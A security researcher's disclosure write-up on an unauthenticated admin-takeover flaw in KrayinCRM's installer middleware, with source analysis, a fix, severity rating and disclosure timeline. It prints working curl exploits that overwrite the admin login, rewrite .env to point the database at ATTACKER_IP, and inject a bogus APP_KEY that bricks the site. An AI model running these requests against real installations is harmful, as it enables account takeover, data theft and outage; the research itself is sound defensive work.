Series
Krayin CRM Security Research — View all write-ups

During some recent independent security research into KrayinCRM 2.2.0 — an open-source Laravel CRM used by sales teams to manage leads, contacts, deals, and pipelines — I found a vulnerability that let me take over the administrator account with a single unauthenticated HTTP request. No credentials. No user interaction. No CSRF token. One curl command, and I owned the box.

This is the story of how a small piece of copy-pasted logic in a middleware file turned KrayinCRM's installer into a permanent backdoor, and how I traced it from source code to full exploitation.


THE ROUTE THAT SHOULD NOT HAVE BEEN THERE

The first thing I do when the code is open like this is enumerate the attack surface. For a Laravel application, that means reading the route files. Laravel makes this easy — every route is defined declaratively, and you can usually find the full map in a handful of files under routes/ or, in the case of modular applications like Krayin, in each package's Routes/ directory.

I was working through the installer package's routes when something caught my eye.

File: packages/Webkul/Installer/src/Routes/web.php

Route::middleware(['web', 'installer_locale'])->group(function () {
    Route::controller(InstallerController::class)->group(function () {
        Route::get('install', 'index')->name('installer.index');

        Route::middleware(StartSession::class)->prefix('install/api')->group(function () {
            Route::post('env-file-setup', 'envFileSetup')->name('installer.env_file_setup');

            Route::withoutMiddleware('web')->group(function () {
                Route::post('run-migration', 'runMigration')->name('installer.run_migration');

                Route::post('run-seeder', 'runSeeder')->name('installer.run_seeder');

                Route::post('admin-config-setup', 'adminConfigSetup')->name('installer.admin_config_setup');
            });
        });
    });
});

Three POST routes: run-migration, run-seeder, and admin-config-setup. All three wrapped in withoutMiddleware('web').

In Laravel, the web middleware group includes several critical protections. Among them: CSRF verification via VerifyCsrfToken. By calling withoutMiddleware('web'), these three endpoints have no CSRF protection at all. No _token field required. No X-XSRF-TOKEN header required. A raw POST from anywhere — a script, a different origin, an automated scanner — will be accepted without question.

But CSRF protection only matters if the request needs to come from an authenticated context. The real question was: does anything prevent an unauthenticated user from reaching these endpoints?

That question led me to CanInstall.php.


THE MIDDLEWARE THAT GUARDS NOTHING

KrayinCRM uses a custom middleware called CanInstall to protect installer routes after the application has been set up. The idea is simple: once the CRM is installed, nobody should be able to access the installer endpoints again. The middleware checks whether a storage/installed file exists (or whether the database has tables), and if so, redirects the user to the admin dashboard.

Here is the full middleware:

class CanInstall
{
    public function handle(Request $request, Closure $next): mixed
    {
        if (Str::contains($request->getPathInfo(), '/install')) {
            if ($this->isAlreadyInstalled() && ! $request->ajax()) {
                return redirect()->route('admin.dashboard.index');
            }
        } else {
            if (! $this->isAlreadyInstalled()) {
                return redirect()->route('installer.index');
            }
        }

        return $next($request);
    }

    public function isAlreadyInstalled(): bool
    {
        if (file_exists(storage_path('installed'))) {
            return true;
        }

        if (app(DatabaseManager::class)->isInstalled()) {
            touch(storage_path('installed'));
            Event::dispatch('krayin.installed');
            return true;
        }

        return false;
    }
}

Read line 19 carefully:

if ($this->isAlreadyInstalled() && ! $request->ajax()) {
    return redirect()->route('admin.dashboard.index');
}

The condition has two parts. The redirect fires when both are true: the app is already installed, and the request is not an AJAX request. The $request->ajax() method returns true when the request includes the header X-Requested-With: XMLHttpRequest.

Flip the logic: if the request is AJAX, the second condition (! $request->ajax()) is false, the overall AND is false, and the redirect does not fire. The request passes through to the controller.

I stared at that line for a long time. In a correctly installed, fully operational KrayinCRM instance, any request to /install/api/admin-config-setup with the header X-Requested-With: XMLHttpRequest will sail past the middleware and reach the controller method. No session required. No authentication check anywhere in the chain. Just a header.


WHY THE BYPASS EXISTS

This is not random. It is a design artifact from the installation wizard.

KrayinCRM's installer is a Vue.js single-page application. The user fills out database credentials, admin account details, and locale settings in a series of wizard steps. Each step makes an AJAX POST to the corresponding /install/api/* endpoint. The installer page itself is loaded via a standard GET to /install, and the Vue components then communicate with the API endpoints via XMLHttpRequest.

The ! $request->ajax() check was almost certainly added so that the wizard's AJAX calls would continue to work during the installation process, even if some race condition or mid-install page refresh triggered the "already installed" check. The developer was solving a real problem: don't redirect AJAX requests that are part of the installation workflow, because the Vue frontend handles its own state.

The mistake was leaving this check in place permanently. After installation, the AJAX exception continues to exist. Nobody removed it. Nobody scoped it to only work during the installation window. It just sits there, an open door that was meant to be temporary but became permanent.


WHAT LIES BEHIND THE DOOR

With the middleware bypassed, I turned my attention to what the controller methods actually do. The most interesting one was adminConfigSetup().

File: packages/Webkul/Installer/src/Http/Controllers/InstallerController.php

const USER_ID = 1;

public function adminConfigSetup(): bool
{
    $password = password_hash(request()->input('password'), PASSWORD_BCRYPT, ['cost' => 10]);

    try {
        DB::table('users')->updateOrInsert(
            [
                'id' => self::USER_ID,
            ], [
                'name'     => request()->input('admin'),
                'email'    => request()->input('email'),
                'password' => $password,
                'role_id'  => 1,
                'status'   => 1,
            ]
        );

        $this->smtpConfigSetup();

        return true;
    } catch (\Throwable $th) {
        report($th);

        return false;
    }
}

updateOrInsert with a WHERE clause of ['id' => self::USER_ID] where USER_ID is hardcoded to 1. This always targets the first user in the database — the admin account created during installation. The method takes admin (name), email, and password from the request body, hashes the password with bcrypt, and overwrites the existing admin record.

No verification that the caller is authenticated. No verification that the caller knows the current admin password. No rate limiting. No logging beyond Laravel's default exception handler. The method takes whatever you give it and writes it to the database.

And smtpConfigSetup() at the end writes the storage/installed file and fires the krayin.installed event — so the application continues to believe it was installed normally.

My pulse was up. I opened a terminal.


THE SINGLE REQUEST

curl -s -X POST \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  'http://[TARGET]/install/api/admin-config-setup' \
  -d '{"admin":"pwned","email":"[email protected]","password":"hacked123"}'

Response:

1

That 1 is PHP's true cast to an integer in the JSON response. The admin account's name, email, and password have been overwritten.

Terminal showing the curl command and the response "1", confirming the admin credential overwrite succeeded
Terminal showing the curl command and the response "1", confirming the admin credential overwrite succeeded.

I fetched the login page, grabbed a CSRF token, and logged in with the new credentials:

TOKEN=$(curl -s http://[TARGET]/admin/login | \
  grep -o 'name="_token" value="[^"]*"' | grep -o '"[^"]*"' | tail -1 | tr -d '"')

curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://[TARGET]/admin/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "email=attacker%40evil.com&password=hacked123&_token=${TOKEN}" \
  -w 'HTTP:%{http_code}'
HTTP:302
Location: http://[TARGET]/admin/dashboard
The Krayin CRM /admin/account profile page after the takeover, with the Name field set to pwned and the Email field set to attacker@evil.com
The /admin/account page after logging in with the overwritten credentials — the Name field now reads pwned and the Email field shows [email protected], exactly the values from the unauthenticated request.

I was looking at the admin dashboard. Every lead, every contact, every deal, every quote, every pipeline, every user — everything in the CRM was accessible. The entire attack took two HTTP requests: one to overwrite the credentials, one to log in.


IT GETS WORSE: THE OTHER TWO ENDPOINTS

admin-config-setup was the most immediately devastating endpoint. But the other two routes behind the same bypass are worth understanding.

run-migration

curl -s -X POST \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Accept: application/json' \
  'http://[TARGET]/install/api/run-migration'
{"success":true,"message":"Tables is migrated successfully."}

This executes database migrations pre-authentication. In a best case, it is a no-op (migrations already ran). In a worst case — if migration files contain destructive operations, or if the database state has drifted — it can corrupt or reset tables.

run-seeder and .env manipulation

The runSeeder method does something that adminConfigSetup does not: it modifies the .env file.

public function runSeeder()
{
    $allParameters = request()->allParameters;

    $parameter = [
        'parameter' => [
            'default_locales' => $allParameters['app_locale'] ?? null,
            'default_currency' => $allParameters['app_currency'] ?? null,
        ],
    ];

    $response = $this->environmentManager->setEnvConfiguration($allParameters);

    if ($response) {
        $seeder = $this->databaseManager->seeder($parameter);
        return $seeder;
    }
}

Note the first line: runSeeder reads a single request field named allParameters (a leftover from how the installer’s Vue wizard posts its form) and hands it to setEnvConfiguration(), which writes the nested values straight into the application’s .env file — unescaped. The database fields — db_hostname, db_name, db_username, db_password, and db_port — map onto DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and DB_PORT:

curl -s -X POST \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Content-Type: application/json' \
  'http://[TARGET]/install/api/run-seeder' \
  -d '{"allParameters":{"db_hostname":"ATTACKER_IP","db_port":"3306","db_name":"krayin","db_username":"krayin","db_password":"krayin","db_connection":"mysql"}}'

This rewrites the database connection settings the application loads on its next boot, pointing it at an attacker-controlled MySQL server. From there the attacker can capture credentials the application sends, serve rogue data, or swap in a poisoned database wholesale.

During testing I also found that these values are written without escaping, so a newline in the app_url field injects arbitrary additional .env lines. Krayin loads its .env such that the last definition of a duplicated key wins, and APP_URL sits below APP_KEY in the file — so injecting a rogue APP_KEY through app_url places it after the real one, making the bogus value the effective encryption key. The closing " and trailing X= are there to break out of the quotes setEnvConfiguration() wraps around any whitespace-bearing value, so the injected APP_KEY lands on its own line:

curl -s -X POST \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Content-Type: application/json' \
  'http://[TARGET]/install/api/run-seeder' \
  -d '{"allParameters":{"app_name":"Krayin","app_url":"http://[TARGET]\"\nAPP_KEY=base64:aW52YWxpZA==\nX=\""}}'

With an invalid key in place, Laravel’s EncryptionServiceProvider throws Unsupported cipher or incorrect key length the moment the encrypter is resolved — which is on essentially every request — and Krayin renders its “500 Internal Server Error” page for every route. One quirk worth flagging: Krayin serves that error page with an HTTP 200 status rather than a 500, so a monitor that only inspects status codes will happily report the site as healthy while every human visitor sees an error. The corruption is not instantaneous, either — PHP-FPM caches the environment per worker, so the failure surfaces as workers recycle or at the next restart, and then persists until someone repairs .env by hand. A single unauthenticated request that latently, and permanently, bricks the application.

Krayin 500 Internal Server Error / Something went wrong page shown on every route after the .env APP_KEY corruption via the run-seeder endpoint
Krayin’s “500 Internal Server Error — Something went wrong” page, rendered on every route once the injected APP_KEY takes effect. Note that the request still returns an HTTP 200 status.

THE ROOT CAUSE, DISTILLED

Three conditions combine to create this vulnerability:

  1. The AJAX bypass in CanInstall middleware. The ! $request->ajax() check was added to support the Vue.js installation wizard but was never removed or scoped to the installation window. It permanently exempts any request with X-Requested-With: XMLHttpRequest from the "already installed" redirect.
  2. The removal of CSRF protection. withoutMiddleware('web') strips CSRF verification from the three most dangerous installer endpoints. This was likely done because the installation wizard's AJAX calls needed to work before a session existed. But it means the endpoints accept bare POST requests from any origin.
  3. The hardcoded user ID 1 overwrite. adminConfigSetup() always targets user ID 1, with no verification that the caller is the current admin or has any credentials at all. Combined with conditions 1 and 2, this is a direct pre-auth admin credential overwrite.

Any one of these conditions alone would be a code quality issue but not necessarily exploitable. Together, they produce a CVSS 9.8 Critical vulnerability: unauthenticated, no user interaction, network-accessible, complete impact on confidentiality, integrity, and availability.


THE FIX

The immediate fix is a one-line change:

// BEFORE (vulnerable):
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
    return redirect()->route('admin.dashboard.index');
}

// AFTER (fixed):
if ($this->isAlreadyInstalled()) {
    return redirect()->route('admin.dashboard.index');
}

Remove the AJAX exception. Once the application is installed, all requests to installer endpoints should be redirected — AJAX or not. The installation wizard will still work because the isAlreadyInstalled() check returns false during initial setup, meaning the redirect never fires until the installation is complete.

For defense-in-depth:

  • Remove the Installer package entirely from production deployments after setup
  • Block /install/* at the reverse proxy (Nginx, Cloudflare, etc.)
  • Add authentication requirements to all installer API endpoints
  • Restore CSRF protection — remove the withoutMiddleware('web') wrapper

SEVERITY ASSESSMENT

Metric Value
CVSS Score 9.8 Critical
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-306 (Missing Authentication for Critical Function)
Authentication Required None
User Interaction None
Complexity Trivial — single HTTP request

WHAT I LOOKED AT THAT DID NOT WORK

Before I found the AJAX bypass, I spent time on several dead ends worth mentioning.

CSRF token requirement. My initial assumption was that even if the installer endpoints were reachable, Laravel's CSRF protection would require a valid session token. I spent time looking for ways to leak or predict the CSRF token before realizing that withoutMiddleware('web') had removed it entirely. I should have read the route definition more carefully before trying to bypass something that was not there.

Session-based authentication. I looked for any authentication middleware on the installer routes — auth, auth:admin, any custom gate or policy. There is none. The CanInstall middleware is the only protection, and as we have seen, it has a hole.

Rate limiting. I checked whether Laravel's throttle middleware was applied to these routes. It is not. An attacker can hit the endpoint as many times as they want without being blocked.

The env-file-setup endpoint. This fourth installer endpoint (not in the withoutMiddleware('web') block) still has CSRF protection via the web middleware. I looked for ways to reach it but the CSRF requirement held firm. The other three endpoints were enough.


Update — Vendor Disclosure & Fix Status

I reported both findings to the Krayin maintainers by email on 2026-04-20, using the security address published in the project's README ([email protected], alongside the request not to disclose publicly), and requested CVEs the same day through VulnCheck (a CNA) — CVE-2026-41452 and CVE-2026-41453 were assigned within hours. As of publication I have received no acknowledgement or response from the vendor.

This installer bypass has an unusual history. It was actually fixed upstream on 2026-03-18 — before my report — in commit e4eb96f5 ("Authentication Bypass via Improper Installer Access Control Resolved"), first shipped in v2.2.1, which returned abort(403) for AJAX requests to the installer routes on an already-installed instance. That fix was then reverted on 2026-05-19 in commit 6a7bc4cc ("GUI installation fixed"), which removed the abort(403) and restored the ! $request->ajax() exemption — most likely because the 403 broke the legitimate GUI installer's own AJAX calls and the guard was dropped for usability rather than being scoped to install time. The regression shipped in v2.2.4.

I re-reviewed the source on 2026-07-25: the current 2.2 branch and master both carry the bypass again, so the pre-auth admin takeover described above is exploitable on up-to-date installs. Only v2.2.1 through v2.2.3 shipped the fix. The companion SQL injection (CVE-2026-41453) was fixed, in v2.2.4 — see Part 2.

DISCLOSURE TIMELINE

Date Event
2026-04-19 Installer bypass and SQL injection identified during independent security research
2026-04-19 Both vulnerabilities confirmed with working proof-of-concept
2026-04-20 Full chain (pre-auth to database extraction) confirmed
2026-04-20 Findings reported to the Krayin maintainers with remediation guidance
2026-08-01 Public disclosure — the 90-day window elapsed with no acknowledgement from the vendor; this write-up published

CLOSING THOUGHTS

The most unsettling thing about this vulnerability is how reasonable every individual decision was. The AJAX exception solved a real UX problem during installation. The CSRF removal solved a real technical problem with pre-session API calls. The hardcoded user ID 1 was the obvious implementation for "set up the first admin." No single developer made a careless decision. The vulnerability emerges from the interaction of three reasonable decisions that were never revisited after the installation wizard was complete.

This is a pattern I see repeatedly in web applications with installer modules. The installation phase has different security requirements than the operational phase — it needs to work before authentication exists, before sessions exist, sometimes before the database exists. Developers write code that is appropriate for the installation context and then forget to lock it down once the application transitions to production. The installer becomes an archaeological layer in the codebase: code that was correct when it was written, for a context that no longer applies, but that remains reachable because nobody went back to remove it.

If you maintain an open-source application with an installer, audit it. Check whether the installer routes are truly unreachable after installation. Check whether the protection mechanism has exceptions that can be triggered by an attacker. And consider whether the installer code should even exist in production at all.

But this was only the beginning. Once I had admin access, I kept looking. And what I found in the leads data grid was a SQL injection that turned authenticated access into full database extraction.

That story is in Part 2.


KrayinCRM is an open-source project available at https://github.com/krayin/laravel-crm. This vulnerability affects version 2.2.0. All testing was performed as independent security research against a dedicated, self-hosted test instance.

This is Part 1 of a two-part series. Part 2 covers a blind SQL injection in the leads module and how it chains with this installer bypass for unauthenticated full database extraction.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch